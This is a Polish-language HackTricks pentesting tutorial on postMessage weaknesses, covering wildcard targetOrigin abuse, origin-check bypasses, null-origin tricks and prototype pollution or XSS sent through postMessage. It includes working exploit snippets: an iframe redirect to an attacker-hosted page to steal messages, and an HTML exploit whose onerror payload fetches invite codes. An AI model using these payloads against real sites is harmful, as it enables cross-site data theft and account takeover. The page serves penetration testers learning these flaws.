hacktricks/pentesting-web/postmessage-vulnerabilities
2024-04-18 04:06:23 +00:00
..
blocking-main-page-to-steal-postmessage.md Translated to Polish 2024-02-11 01:46:25 +00:00
bypassing-sop-with-iframes-1.md Translated to Polish 2024-02-11 01:46:25 +00:00
bypassing-sop-with-iframes-2.md Translated to Polish 2024-02-11 01:46:25 +00:00
README.md Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack. 2024-04-18 04:06:23 +00:00
steal-postmessage-modifying-iframe-location.md Translated to Polish 2024-02-11 01:46:25 +00:00

Luki PostMessage

Luki PostMessage

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

WhiteIntel

WhiteIntel to wyszukiwarka zasilana przez dark web, która oferuje darmowe funkcje do sprawdzania, czy firma lub jej klienci zostali skompromitowani przez złośliwe oprogramowanie kradnące informacje.

Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.

Możesz odwiedzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:

{% embed url="https://whiteintel.io" %}


Wyślij PostMessage

PostMessage używa następującej funkcji do wysyłania wiadomości:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Zauważ, że targetOrigin może być '*' lub adresem URL, na przykład https://company.com.
W drugim scenariuszu wiadomość może być wysłana tylko do tej domeny (nawet jeśli pochodzenie obiektu okna jest inne).
Jeśli używany jest znak wieloznaczny, wiadomości mogą być wysyłane do dowolnej domeny i zostaną wysłane do pochodzenia obiektu okna.

Atakowanie iframe i znaku wieloznacznego w targetOrigin

Jak wyjaśniono w tym raporcie, jeśli znajdziesz stronę, która może być osadzona w iframe (bez ochrony X-Frame-Header) i która wysyła wrażliwą wiadomość za pomocą postMessage używając znaku wieloznacznego (*), możesz zmodyfikować pochodzenie iframe i ujawnić wrażliwą wiadomość do domeny kontrolowanej przez ciebie.
Zauważ, że jeśli strona może być osadzona w iframe, ale targetOrigin jest ustawiony na adres URL, a nie na znak wieloznaczny, ten sztuczka nie zadziała.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

Wykorzystanie addEventListener

addEventListener to funkcja używana przez JS do zadeklarowania funkcji, która oczekuje na postMessages.
Zostanie użyty kod podobny do poniższego:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

Zauważ w tym przypadku, że pierwszą rzeczą, którą robi kod, jest sprawdzenie pochodzenia. Jest to niezwykle ważne, głównie jeśli strona ma wykonać jakiekolwiek czynności wymagające uwagi w związku z otrzymanymi informacjami (np. zmiana hasła). Jeśli nie sprawdzi się pochodzenia, atakujący mogą zmusić ofiary do wysłania dowolnych danych do tych punktów końcowych i zmienić hasła ofiar (w tym przykładzie).

Wyliczanie

Aby znaleźć nasłuchiwaczy zdarzeń na bieżącej stronie, można:

  • Przeszukać kod JS w poszukiwaniu window.addEventListener i $(window).on (wersja JQuery)
  • Wykonać w konsoli narzędzi deweloperskich: getEventListeners(window)

  • Przejdź do Elementy --> Nasłuchiwacze zdarzeń w narzędziach deweloperskich przeglądarki

Pomijanie sprawdzania pochodzenia

  • Atrybut event.isTrusted jest uważany za bezpieczny, ponieważ zwraca True tylko dla zdarzeń generowanych przez autentyczne działania użytkownika. Chociaż jego poprawne zaimplementowanie może być wyzwaniem, jego znaczenie w kontekście kontroli bezpieczeństwa jest znaczące.
  • Użycie indexOf() do walidacji pochodzenia w zdarzeniach PostMessage może być podatne na pominięcie. Przykład ilustrujący tę podatność to:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • Metoda search() z String.prototype.search() jest przeznaczona do wyrażeń regularnych, a nie do ciągów znaków. Przekazanie czegoś innego niż wyrażenie regularne prowadzi do konwersji domyślnej na wyrażenie regularne, co może sprawić, że metoda będzie potencjalnie nieskuteczna. Dzieje się tak, ponieważ w wyrażeniach regularnych kropka (.) działa jako symbol wieloznaczny, umożliwiając pominięcie walidacji przy specjalnie spreparowanych domenach. Na przykład:
"https://www.safedomain.com".search("www.s.fedomain.com")
  • Funkcja match(), podobnie jak search(), przetwarza wyrażenia regularne. Jeśli wyrażenie regularne jest nieprawidłowo zbudowane, może być podatne na pominięcie.

  • Funkcja escapeHtml ma na celu oczyszczenie wejść poprzez unikanie znaków. Jednakże nie tworzy nowego obiektu unikniętego, ale nadpisuje właściwości istniejącego obiektu. To zachowanie może być wykorzystane. W szczególności, jeśli obiekt można manipulować w taki sposób, że jego kontrolowana właściwość nie uznaje hasOwnProperty, escapeHtml nie będzie działać zgodnie z oczekiwaniami. Przedstawia to poniższe przykłady:

  • Oczekiwane niepowodzenie:

result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
  • Pomijanie unikania:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

W kontekście tej podatności obiekt File jest szczególnie podatny ze względu na swoją tylko do odczytu właściwość name. Ta właściwość, gdy jest używana w szablonach, nie jest oczyszczana przez funkcję escapeHtml, co prowadzi do potencjalnych zagrożeń dla bezpieczeństwa.

  • Właściwość document.domain w JavaScript może być ustawiona przez skrypt w celu skrócenia domeny, co pozwala na bardziej elastyczną egzekucję polityki tego samego pochodzenia w obrębie tej samej domeny nadrzędnej.

Pomijanie e.origin == window.origin

Podczas osadzania strony internetowej w zabezpieczonym iframe za pomocą %%%%%%, istotne jest zrozumienie, że pochodzenie iframu zostanie ustawione na null. Jest to szczególnie istotne przy korzystaniu z atrybutów sandbox i ich wpływu na bezpieczeństwo i funkcjonalność.

Poprzez określenie allow-popups w atrybucie sandbox, każde okno popup otwarte z iframu dziedziczy ograniczenia sandboxa swojego rodzica. Oznacza to, że chyba że atrybut allow-popups-to-escape-sandbox jest również uwzględniony, pochodzenie okna popup jest również ustawione na null, zgodnie z pochodzeniem iframu.

W rezultacie, gdy otwarte są okna popup w tych warunkach i wysyłana jest wiadomość z iframu do popupu za pomocą postMessage, zarówno nadawca, jak i odbiorca mają ustawione pochodzenie na null. Ta sytuacja prowadzi do scenariusza, w którym e.origin == window.origin jest prawdziwe (null == null), ponieważ zarówno ifram, jak i popup mają tę samą wartość pochodzenia null.

Aby uzyskać więcej informacji, przeczytaj:

{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}

Pomijanie e.source

Możliwe jest sprawdzenie, czy wiadomość pochodzi z tego samego okna, w którym skrypt nasłuchuje (szczególnie interesujące dla Skryptów zawartości z rozszerzeń przeglądarki w celu sprawdzenia, czy wiadomość została wysłana z tej samej strony):

// If its not, return immediately.
if( received_message.source !== window ) {
return;
}

Możesz zmusić e.source wiadomości do bycia nullem, tworząc iframe, który wysyła postMessage i jest natychmiast usuwany.

Aby uzyskać więcej informacji, przeczytaj:

{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}

Bypass nagłówka X-Frame

Aby przeprowadzić te ataki, idealnie byłoby umieścić stronę ofiary w iframe. Jednak niektóre nagłówki, takie jak X-Frame-Header, mogą zapobiec temu zachowaniu.
W takich scenariuszach nadal można użyć mniej dyskretnego ataku. Można otworzyć nową kartę z podatną aplikacją internetową i komunikować się z nią:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Kradzież wiadomości wysłanej do dziecka poprzez zablokowanie strony głównej

Na poniższej stronie możesz zobaczyć, jak można ukraść wrażliwe dane postmessage wysłane do dziecięcego iframe'a, blokując stronę główną przed wysłaniem danych i nadużywając XSS w dziecku, aby wyciec dane przed ich otrzymaniem:

{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}

Kradzież wiadomości poprzez modyfikację lokalizacji iframe'a

Jeśli możesz osadzić stronę internetową bez nagłówka X-Frame, która zawiera inne iframe, możesz zmienić lokalizację tego dzieckiego iframe'a, więc jeśli otrzymuje postmessage wysłane za pomocą gwiazdki, atakujący może zmienić pochodzenie tego iframe'a na stronę kontrolowaną przez niego i ukraść wiadomość:

{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}

postMessage do Zanieczyszczenia Prototypu i/lub XSS

W scenariuszach, gdzie dane wysyłane za pomocą postMessage są wykonywane przez JS, możesz osadzić stronę i wykorzystać zanieczyszczenie prototypu/XSS, wysyłając exploit za pomocą postMessage.

Kilka bardzo dobrze wyjaśnionych XSS poprzez postMessage można znaleźć pod adresem https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

Przykład exploitu do nadużycia zanieczyszczenia prototypu, a następnie XSS poprzez postMessage do iframe:

<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}

setTimeout(get_code, 2000);
</script>
</body>
</html>

Dla więcej informacji:

Referencje

WhiteIntel

WhiteIntel to wyszukiwarka zasilana przez dark web, która oferuje darmowe funkcje do sprawdzania, czy firma lub jej klienci zostali skompromitowani przez malware typu stealer.

Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z malware kradnącego informacje.

Możesz odwiedzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:

{% embed url="https://whiteintel.io" %}

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: